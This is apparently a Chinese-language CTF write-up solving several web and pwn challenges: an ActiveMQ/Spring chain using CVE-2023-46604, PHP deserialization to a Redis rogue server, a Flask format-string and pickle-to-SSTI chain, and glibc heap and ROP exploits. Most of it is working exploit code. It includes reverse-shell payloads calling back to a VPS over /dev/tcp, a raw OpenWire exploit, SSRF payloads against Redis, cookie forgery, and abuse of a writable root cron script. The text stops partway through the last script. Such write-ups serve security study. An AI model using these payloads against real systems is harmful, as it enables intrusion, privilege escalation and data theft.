Active-Takeaway
思路
该系统的大致框架为：
-
customer：生成订单
-
broker：消息队列
-
merchant：监控队列上的订单，若接收到则向customer的webhook发送订单已接单的信息。
题目中customer和broker是以player用户运行的，merchant是以root用户运行的，flag是root权限，最终需要攻击merchant。
注意到customer的/api/changefood可以实例化任意构造器参数为一个String的类
@PostMapping({"/changefood"})
public String change(@RequestParam String foodServiceClassName, @RequestParam String name) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
Class<?> foodServiceClass;
try {
foodServiceClass = Class.forName(foodServiceClassName);
} catch (ClassNotFoundException e) {
foodServiceClass = Class.forName("com.example.customer.service.IronBeefNoodleService");
}
this.foodService = foodServiceClass.getDeclaredConstructor(new Class[] { String.class }).newInstance(new Object[] { name });
return "Changed to " + foodServiceClassName + " with name " + name;
}
但是程序中注入了一个filter
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String uri = ((HttpServletRequest)request).getRequestURI().replaceAll("/api", "");
String endpoint = uri.replaceAll("/", "");
if (endpoint.equalsIgnoreCase("changefood")) {
response.getWriter().write("Under construction...");
return;
}
chain.doFilter(request, response);
}
这个filter可以用Tomcat对Matrix Parameters的解析来绕过，类似于http://localhost:8088/api/changefood;
然后可以把foodServiceClassName指定为org.springframework.context.support.ClassPathXmlApplicationContext这个类，该类可以加载远程的ApplicationContext从而RCE。
反编译merchant可以看到merchant和broker建立了长连接。
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(args[0]);
connectionFactory.setTrustedPackages(List.of(new String[]{"com.example.customer.entity"}));
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Destination destination = session.createQueue("Orders");
MessageConsumer consumer = session.createConsumer(destination);
consumer.setMessageListener(message -> {
if (message instanceof TextMessage) {
TextMessage textMessage = (TextMessage) message;
try {
XStream xstream = new XStream(new StaxDriver());
xstream.allowTypesByWildcard(new String[]{
"com.example.customer.entity.*"
});
OrderEntity entity = (OrderEntity) xstream.fromXML(textMessage.getText());
take(entity, args[1]);
} catch (JMSException e) {
e.printStackTrace();
}
}
});
System.out.println("Waiting for messages...");
事实上，broker和merchant上存在CVE-2023-46604漏洞（可以反编译看pom.xml或依赖看到activemq的版本，从而确定）。网上大多是对broker的攻击，这里需要攻击与broker保持了长连接的merchant。
这里可以利用CVE-2023-46604在broker上下文里执行代码，在activemq中的org.apache.activemq.broker.BrokerRegistry#getInstance里可以拿到和broker保持长连接的merchant线程。拿到这个线程向merchant发包打一遍CVE-2023-46604即可。
解题过程
先把相关XML文件等放到一个VPS上，然后起一个HTTP服务serve这些文件（例如 python http模块）
在vps上监听2333端口，向/api/changefood;发送POST请求，foodServiceClassName填org.springframework.context.support.ClassPathXmlApplicationContext；name填VPS对应的文件，文件内容为
customer_shell.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vpsip/2333 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后VPS即可收到customer的反弹shell。
接下来在customer上下载ExploitBroker.class并运行
wget http://vpsip:8089/ExploitBroker.class &&
java ExploitBroker
ExploitBroker.java（注意替换vpsip）
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class ExploitBroker {
public static void main(String[] args) throws IOException {
Socket socket = new Socket("localhost", 61616);
OutputStream os = socket.getOutputStream();
DataOutputStream dos = new DataOutputStream(os);
dos.writeInt(0);// size
dos.writeByte(31);// type
dos.writeInt(0);// CommandId
dos.writeBoolean(false);// Command response required
dos.writeInt(0);// CorrelationId
// body
dos.writeBoolean(true);
// UTF
dos.writeBoolean(true);
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
dos.writeBoolean(true);
dos.writeUTF("http://vpsip:8089/broker.xml");
dos.close();
os.close();
socket.close();
}
}
broker.xml（注意替换vpsip）
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean class="java.lang.String">
<property name="String" value="#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval("
function getunsafe() {
var unsafe = java.lang.Class.forName('sun.misc.Unsafe')
.getDeclaredField('theUnsafe');
unsafe.setAccessible(true);
return unsafe.get(null);
}
var unsafe = getunsafe();
brokerRegistry = org.apache.activemq.broker.BrokerRegistry.getInstance();
brokers = brokerRegistry.getBrokers();
for (key in brokers) {
brokerService = brokers.get(key);
try {
f = brokerService.getClass()
.getDeclaredField('shutdownHook');
} catch (e) {
f = brokerService.getClass()
.getSuperclass()
.getDeclaredField('shutdownHook');
}
f.setAccessible(true);
shutdownHook = f.get(brokerService);
threadGroup = shutdownHook.getThreadGroup();
f = threadGroup.getClass()
.getDeclaredField('threads');
threads = unsafe.getObject(threadGroup, unsafe.objectFieldOffset(f));
for (key in threads) {
thread = threads[key];
if (thread == null) {
continue;
}
threadName = thread.getName();
if (threadName.startsWith('ActiveMQ Transport: ')) {
f = thread.getClass()
.getDeclaredField('target');
tcpTransport = unsafe.getObject(thread, unsafe.objectFieldOffset(f));
f = tcpTransport.getClass()
.getDeclaredField('socket');
f.setAccessible(true);
socket = f.get(tcpTransport);
bos = new java.io.ByteArrayOutputStream();
dataOutput = new java.io.DataOutputStream(bos);
dataOutput.writeInt(1);
dataOutput.writeByte(31);
bs = new org.apache.activemq.openwire.BooleanStream();
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.writeBoolean(true);
bs.writeBoolean(false);
bs.marshal(dataOutput);
dataOutput.writeUTF('bb');
dataOutput.writeUTF('aa');
dataOutput.writeUTF('org.springframework.context.support.ClassPathXmlApplicationContext');
dataOutput.writeUTF('http://vpsip:8089/rootshell.xml');
dataOutput.writeShort(0);
socketOutputStream = socket.getOutputStream();
socketOutputStream.write(bos.toByteArray());
}
}
}
")}"/>
</bean>
</beans>
rootshell.xml（注意替换vpsip）
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/vpsip/2334 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
运行ExploitBroker后可接收到反弹shell
ezezez_php
POC:
<?php
highlight_file(__file__);
class Rd
{
public $ending;
public $cl;
public $poc;
}
class Poc
{
public $payload;
public $fun;
}
class Er
{
public $symbol;
public $Flag;
}
class Ha
{
public $start;
public $start1;
public $start2;
}
$a = new Ha;
$a->start1 = new Rd;
$a->start2 = "o.0";
$a->start = ["POC"=>"0.o"];
$a->start1->cl = new Er;
$payload0 = "dict";
$payload1 = "dict://127.0.0.1:6379/config:set:dir:/tmp";
$payload2 = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
$payload3 = "dict://127.0.0.1:6379/slaveof:ip:port";
$payload4 = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
$payload5 = "dict://127.0.0.1:6379/slave:no:one";
$payload6 = "dict://127.0.0.1:6379/system.exec:env";
$payload7 = "dict://127.0.0.1:6379/module:unload:system";
$c = base64_encode($payload1);
$a->start1->cl->Flag = $c;
echo serialize($a);
?>
在vps上开启一个主redis服务，我们启动一个Redis Rogue Server工具即可
python3 redis-rogue-server.py --server-only
payload3的ip:port替换为自己vps的ip和port，依次POST打入反序列化产生的payload1，2，3，4，5，6，7即可拿到flag。
picup
题目无附件，启动题目环境拿到靶机地址访问后会302跳转至/login.php路由：
抓包查看响应包信息收集目录扫描可以根据404页面：
以及响应头：
判断其实际上为Python Web。同时也易发现/register.php路由：
响应包源代码中存在注释提示最多只允许同时注册两个用户，否则再次注册时会清理除admin用户以外的所有已注册的用户从而继续创建新用户：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Register</title>
</head>
<body>
<h1>Register</h1>
<form action="register.php" method="post">
<div>
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>
</div>
<div>
<label for="username">密 码:</label>
<input type="password" id="password" name="password" required>
</div>
<button type="submit">注册</button>
</form>
<!-- You can only register 2 users,otherwise all registered users(except admin) will be cleared to register new ones. -->
</body>
</html>
在/login.php路由尝试弱密码爆破或SQL注入登录admin用户未果后，不妨在/register.php路由注册一个用户：
可见成功注册会返回用户名以及密码的哈希值（经加密反查尝试可判断为md5），继续在/login.php路由登录：
响应包源代码：
Login success! <a href='/'>Click here to redirect.</a>
点击链接跳转回到/路由（按照PHP Web的思路也易发现该路由同时也是/index.php路由）：
文件上传界面，响应包源代码中存在注释提示Web管理员每10分钟会清理一次所有上传的文件，并且最多只能同时上传4个文件，否则再次上传时会清理所有已经上传的文件从而继续上传新文件：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Picup</title>
</head>
<body>
<h1>Pic Upload</h1>
<form action="/" method="post" enctype="multipart/form-data">
<div>
<label for="file">文件：</label>
<input type="file" name="file" id="file">
</div>
<button type="submit">上传</button>
</form>
<code>Please upload a valid file!</code>
<!-- The web administrator clears all uploaded files every 10 minutes -->
<!-- You can only upload 4 files,otherwise all uploaded files will be cleared to upload new ones. -->
</body>
</html>
随便上传个文件尝试：
响应包源代码：
File upload success! Path: <a href='pic.php?pic=TenMap1e.txt'>./uploads/TenMap1e.txt</a>.
发现/pic.php路由：
响应包源代码：
<h1>files in ./uploads/</h1><br><a href='pic.php?pic=TenMap1e.txt'>./uploads/TenMap1e.txt</a><br>
似乎会遍历显示./uploads路径目录下的所有文件并且存在以GET传参pic参数为文件名的文件读取点，点击链接传参?pic=TenMap1e.txt尝试：
是一张损坏的图片，响应包源代码：
<img src="">
易发现实际上就是base64编码的文件内容。经过对任意文件读取的常见过滤绕过尝试可以发现此处对于pic参数的过滤是将../替换为空，可以使用..././的姿势进行绕过，payload：
?pic=..././..././etc/passwd
传参可得：
<img src="">
base64解码即可读取得到/etc/passwd文件的内容：
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
ctf:x:999:999::/home/ctf:/bin/sh
同理尝试读取/app目录下的Web源码：
?pic=..././..././app/app.py
成功读取得到：
#app.py
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf
users=Users()
app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
filepath=os.path.join("./uploads",filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
return render_template("index.html")
@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and users.login(username,password):
session['username']=username
return "Login success! <a href='/'>Click here to redirect.</a>"
else:
return "Login fail!"
return render_template("login.html")
@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
else:
return "Register fail!"
return render_template("register.html")
@app.route('/pic.php',methods=['GET','POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))
else:
return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
res="<h1>files in ./uploads/</h1><br>"
for f in os.listdir("./uploads"):
res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
#Users.py
import hashlib
class Users:
passwords={}
def register(self,username,password):
if username in self.passwords:
return False
if len(self.passwords)>=3:
for u in list(self.passwords.keys()):
if u!="admin":
del self.passwords[u]
self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
return True
def login(self,username,password):
if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
return True
return False
#waf.py
import os
from werkzeug.utils import secure_filename
def waf(file):
if len(os.listdir("./uploads"))>=4:
os.system("rm -rf /app/uploads/*")
content=file.read().lower()
if len(content)>=70:
return False
for b in [b"n",b"r",b"\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content:
return False
file.seek(0)
return secure_filename(file.filename)
代码审计发现/register.php路由存在格式化字符串漏洞：
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
注册一个用户名为{users.passwords}的用户即可泄露得到users变量所定义的实现注册登录接口的Users类中的passwords密码字典：
而admin用户的密码md5和flask的secret_key使用的是完全相同的随机值：
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
那么这里拿到secret_key我们便可以伪造session身份为admin用户，从而在/pic.php路由中pickle.load反序列化我们上传的文件进行攻击利用而非只是简单地读取文件内容了：
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))
else:
return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
使用flask_session_cookie_manager脚本（https://github.com/noraj/flask-session-cookie-manager）伪造session：
python flask_session_cookie_manager3.py encode -s "5fa7397bae81174237f01f64c165299c" -t "{'username':'admin'}"
得到（注意每次开启题目环境secret_key都是随机不一样的，故需要自行按照泄露得到的secret_key进行伪造）：
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZYkoxw.oJOwM9sfFQlcG85g4BTN1d1lgfA
接下来就是考虑绕过waf函数对于文件上传的过滤从而上传反序列化POC进行攻击，这里存在长度70的限制并且过滤了诸多关键字以及构造opcode的关键字符换行符n。总体思考下来我们需要调用一个比较短且没有被过滤的函数去实现一定的攻击操作，且在无法构造opcode的情况下只能使用4或5版本的pickle协议，但结合题目环境存在任意文件上传点，且最为关键的一点是设置了flask app的模板渲染路径为./（也就是/app）：
app.template_folder="./"
而我们上传文件的上传路径为./uploads/，所以我们上传的所有文件都可以被作为flask的模板文件进行渲染，同时Web源代码中也引入调用了render_template函数对模板文件进行渲染，审计代码不难推断出所有的模板文件都是存放在./也就是/app目录下的。那我们自然也可以按照这个思路通过任意文件上传点上传一个恶意的可以实现模板注入SSTI的POC模板文件，然后再通过pickle反序列化调用render_template函数渲染它即可实现pickle to SSTI的攻击思路。
那我们首先需要构造一个长度不能达到70的SSTI payload，并且需要绕过waf函数的过滤，对于SSTI的攻击思路来说这样的过滤是比较好绕过的，因为字符串可以任意构造，长度的限制也可以使用lipsum构造一个短的SSTI注入，于是有payload：
{{lipsum['__glob''als__']['__built''ins__']['ev''al'](request.data)}}
保存为poc文件后上传。继续构造pickle反序列化EXP：
import pickle
from flask import render_template
class EXP():
def __reduce__(self):
return(render_template,("uploads/poc",))
exp=EXP()
f=open("exp","wb")
pickle.dump(exp,f)
得到生成的exp文件上传（长度正好小于70），随后带上伪造好的admin用户的session打payload请求包：
GET /pic.php?pic=exp HTTP/1.1
Host: localhost
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.ZYkoxw.oJOwM9sfFQlcG85g4BTN1d1lgfA
Content-Length: 39
__import__('os').popen('whoami').read()
即可getshell（最好也可以反弹shell出来方便后续操作，否则exp和poc被定期清除了还得重新上传）：
ls / -al发现/flag权限为700而我们为ctf用户无法读取：
cat /start.sh发现启动容器时root用户执行的命令脚本，其中会定期执行/app/clear.sh这个脚本清理上传的文件：
ls -al发现clear.sh权限为766，我们作为ctf用户有修改的权限：
那我们这里直接修改clear.sh脚本的内容然后等待就可以每10分钟以root用户身份权限执行一次命令了，这里直接写入：
cat /flag > flag
cat clear.sh可见写入成功：
等待一段时间后ls -al即可发现flag文件已成功读取写入到当前目录：
直接cat flag即得flag。
nmanager
glibc 2.35-0ubuntu3
开启canary，full relro，nx enabled，pie关闭
漏洞点在于溢出绕过鉴权的逻辑漏洞和后续栈上分配结构体造成的越界写和越界读
前者绕过生成的随机字符比较
后者控制偏移可以泄露canary和栈上残留的libc地址
然后越界写rop链
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./nmanager")
elf=ELF("./nmanager")
libc=elf.libc
ret=0x40101a
def modify(n,gd,age,name):
io.sendlineafter(b"modify ##n",str(n))
io.sendafter(b"gender: ",gd)
io.sendlineafter(b"age: ",str(age))
io.sendafter(b"name: ",name)
def choice(n):
if n == 0:
io.sendafter(b"quit now?(Y/y)n",b"n")
else:
io.sendafter(b"quit now?(Y/y)n",b"y")
payload=b"./flagx00x00"+cyclic(0x58)+b"check passed".ljust(0x20,b"x00")
io.sendlineafter(b"password: ",payload)
## leak libc
modify(8,b"aaaaaaaa",0x10,b"www")
io.recvuntil(b"aaaaaaaa")
leak_addr=u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))-0x29d90
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
choice(0)
### leak canary
modify(-1,b"a",0x10,b"www")
io.recvuntil(b"gender: a")
canary=u64(io.recv(7).rjust(8,b"x00"))
print("canary: ",hex(canary))
choice(0)
### rop
payload=p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)
modify(-1,payload,str_sh,p64(sys_addr))
choice(1)
io.interactive()
book
1.使用反汇编软件发现delete函数存在UAF漏洞
2.glibc2.35的堆题，通过UAF，攻击unsorted bin泄露libc，使用house of apple的手法，劫持_IO_FILE->_wide_data，利用_IO_wfile_overflow函数控制程序执行流。
_wide_data设置为可控堆地址A，即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0，即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0，即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B，即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP，即满足*(B + 0x68) = C
-
编写 exp.py ，获取flag。
# coding=utf-8
from pwn import *
p=process('./pwn')
#p=remote("0.0.0.0",10003)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(arch='amd64', os='linux', log_level='debug')
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,' '))
uu64 = lambda data :u64(data.ljust(8,' '))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(p)
def add(index, size):
sla('> ', '1')
sla(':', str(index))
sla(':', str(size))
def delete(index):
sla('> ', '2')
sla(':', str(index))
def edit(index, content):
sla('> ', '4')
sla(':', str(index))
sla(': ', content)
def show(index):
sla('> ', '3')
sla(':', str(index))
def dbg():
gdb.attach(p)
pause()
add(0,0x420)
add(1,0x20)
add(2,0x30)
delete(0)
show(0)
libc_base =u64(ru('x7f')[-6:].ljust(8, b'x00')) -0x219ce0
lg('libc_base ' , (libc_base))
delete(1)
show(1)
key = u64(r(5).ljust(8, b'x00'))
heap_base = key << 12
lg('heap_base ',(heap_base))
add(0,0x420)
add(1,0x20)
for i in range(3,12):
add(i, 0x60)
for i in range(3,11):
delete(i)
delete(11)
delete(10)
for i in range(3,10):
add(i, 0x60)
add(13,0x60)
edit(13,p64(key ^ (libc_base + libc.sym['_IO_list_all'])))
add(14,0x60)
add(15,0x60)
target = heap_base + 0xb30
add(16, 0x60)
edit(16,p64(target))
payload = p64(0)*5+ p64(123)+p64(0)*14+ p64(target + 0xe0)+p64(0)*6+ p64(libc_base + libc.sym['_IO_wfile_jumps'])+p64(0)*28+ p64(target + 0x1A8)
add(17, 0x200)
edit(17,payload)
one_gadget = [0x50a47, 0xebc81, 0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
add(18, 0x10)
edit(18,p64(one_gadget[2] + libc_base))
dbg()
sla('> ', '5')
itr()
'''
exit==>__run_exit_handlers==>_IO_cleanup==>_IO_flush_all_lockp==>_IO_wfile_overflow==>_IO_wdoallocbuf
'''
HouseofSome
题目漏洞是一次任意地址写一字节，注意这一个1字节是不可控的只能为0或者随机，这里使用0
也就是draw分支可以完成一次任意地址写一字节0
void draw() {
char buf[0x100];
if(magic || !dev || !name) {
puts("wrong.");
return;
}
size_t addr, length;
printf("offset> ");
addr = getint();
printf("length> ");
length = getint();
if(length < 0 || length > 8) {
puts("wrong.");
return;
}
fread(0x114514000+addr, 1, 1, dev);
magic = 1;
}
信息泄露需要从default分支进入，这里，可以看到init函数会将stdin等信息放到栈上（反编译并不能直观看出，需要看汇编，或者调试），利用scanf未读入的trick，输入-，使得scanf不写入tmp内，导致栈上数据泄露，实现泄露libc（这个是设计的难点1，虽然可能有部分pwn手会了解过）
int init() {
size_t tmp1 = stdin;
setbuf(tmp1, 0);
size_t tmp2 = stdout;
setbuf(tmp2, 0);
size_t tmp3 = stderr;
setbuf(tmp3, 0);
}
size_t getint(){
size_t tmp;
scanf("%lld", &tmp);
return tmp;
}
choice = getint();
switch (choice){
...
default:
printf("invalid option %ld.n", choice);
break;
}
综上题目的所有前置信息收集完毕，分别为
-
任意地址写一字节0 -
泄露libc地址
所以我们也只能在libc内写一字节0
其他的常规逻辑包括，changename修改name数组，仅仅可以保留2个chunk，并且采用了循环释放的方法，也就是申请1，申请2，申请3的时候释放1，申请4的时候释放2，以此类推。change_dev可以打开一个dev，并可以选择是/dev/null、/dev/urandom、/dev/zero，这里关键的是/dev/zero
解题人需要了解fopen函数会malloc一个堆块作为_IO_FILE管理结构，并头插进入_IO_list_all，使得libc内会存放一个堆地址。（这个是设计的难点2，这个知识点比较偏，但是多次调试可以意识到这个问题）
那么现在来到难点3，这里的难点体现在如何组织已有的信息，整理出一个可行的解题思路。这里的预期解题思路是，在堆内构造fake file，并使用fopen打开一个设备，之后利用一次任意地址写0字节，使得fopen的堆管理块偏移到fake file，最后利用exit(0)，完成House of Some攻击（这个是设计的难点5，一种可以绕过IO_validate_vtable的利用手法）
难点4是因为house of some需要利用wide data字段，需要一个指针，但是我们无法泄露heap地址，那么就要做到在不泄露heap地址的情况下，利用堆风水构造出widedata的指针。
总结一下
难点1：选手需要了解scanf未读入造成未初始化变量泄露的trick
难点2：选手需要了解fopen会malloc一个堆块作为_IO_FILEIO管理，并会头插进入_IO_list_all
难点3：选手需要整理已有漏洞于泄露，在极端有限的条件下，构思出攻击思路
难点4：选手需要熟悉Glibc堆管理，利用堆风水在堆上构造一个堆指针作为widedata字段
难点5：由于自编译Glibc，给widedata vtable加上了检查，需要寻找绕过的方法，预期是House of Some攻击（具体见解题脚本House of Some PDF）
最后需要进行orw，题目开了沙箱
编写House_of_some.py和exp.py ，获取flag
House_of_some.py：
from pwn import *
import time
# context.arch = "amd64"
class HouseOfSome:
def __init__(self, libc: ELF, controled_addr, zero_addr) -> None:
self.libc = libc
self.controled_addr =controled_addr
self.READ_LENGTH_DEFAULT = 0x400
self.LEAK_LENGTH = 0x500
self.zero_addr = zero_addr
self.fake_wide_data_template = lambda : flat({
0x18: 0,
0x20: 1,
0x30: 0,
0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
}, filler=b"x00")
self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
0x00: 0, # _flags
0x20: 0, # _IO_write_base
0x28: 0, # _IO_write_ptr
0x38: buf_start, # _IO_buf_base
0x40: buf_end, # _IO_buf_end
0x70: p32(fileno), # _fileno
0x82: b"x00", # _vtable_offset
0x88: self.zero_addr,
0xc0: 2, # _mode
0xa0: wide_data, # _wide_data
0x68: chain, # _chain
0xd8: self.libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"x00")
self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
0x00: 0x800 | 0x1000, # _flags
0x20: buf_start, # _IO_write_base
0x28: buf_end, # _IO_write_ptr
0x70: p32(fileno), # _fileno
0x68: chain, # _chain
0x88: self.zero_addr,
0xd8: self.libc.symbols['_IO_file_jumps'], # vtable
}, filler=b"x00")
self.wide_data_length = len(self.fake_wide_data_template())
self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))
def next_control_addr(self, addr, len):
return addr + len
def read(self, fd, buf, len, end=0):
addr = self.controled_addr
f_read_file_0 = self.fake_file_read_template(buf, buf+len, addr+self.read_file_length, addr+self.read_file_length+self.wide_data_length, fd)
f_wide_data = self.fake_wide_data_template()
addr += self.read_file_length + self.wide_data_length
self.controled_addr = self.next_control_addr(self.controled_addr, (self.read_file_length+self.wide_data_length) * 2)
f_read_file_1 = self.fake_file_read_template(self.controled_addr,
self.controled_addr+self.READ_LENGTH_DEFAULT,
addr+self.read_file_length,
0 if end else self.controled_addr,
0)
payload = flat([
f_read_file_0,
f_wide_data,
f_read_file_1,
f_wide_data
])
assert b"n" not in payload, "\n in payload."
return payload
def write(self, fd, buf, len):
addr = self.controled_addr
f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd)
addr += self.write_file_length
f_wide_data = self.fake_wide_data_template()
self.controled_addr = self.next_control_addr(self.controled_addr, self.read_file_length+self.wide_data_length + self.write_file_length)
f_read_file_1 = self.fake_file_read_template(self.controled_addr, self.controled_addr+self.READ_LENGTH_DEFAULT, addr+self.read_file_length, self.controled_addr, 0)
payload = flat([
f_write_file,
f_read_file_1,
f_wide_data
])
assert b"n" not in payload, "\n in payload."
return payload
def bomb(self, io: tube, retn_addr):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
io.sendline(payload)
stack_leak = u64(io.recv(8).ljust(8, b"x00"))
log.success(f"stack_leak : {stack_leak:#x}")
payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
io.sendline(payload)
# retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
log.success(f"retn_addr : {retn_addr:#x}")
buf = io.recv(self.LEAK_LENGTH)
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")
assert offset > 0, f"offset not find"
payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300)
io.sendline(payload)
rop = ROP(self.libc)
rop.base = stack_leak - self.LEAK_LENGTH + offset
rop.call('execve', [b'/bin/sh', 0, 0])
log.info(rop.dump())
rop_chain = rop.chain()
assert b"n" not in rop_chain, "\n in rop_chain"
io.sendline(rop_chain)
def bomb_raw(self, io: tube, retn_addr):
payload = self.write(1, self.libc.symbols['_environ'], 0x8)
io.sendline(payload)
stack_leak = u64(io.recv(8).ljust(8, b"x00"))
log.success(f"stack_leak : {stack_leak:#x}")
payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
io.sendline(payload)
# retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
log.success(f"retn_addr : {retn_addr:#x}")
buf = io.recv(self.LEAK_LENGTH)
offset = buf.find(p64(retn_addr))
log.success(f"offset : {offset:#x}")
assert offset > 0, f"offset not find"
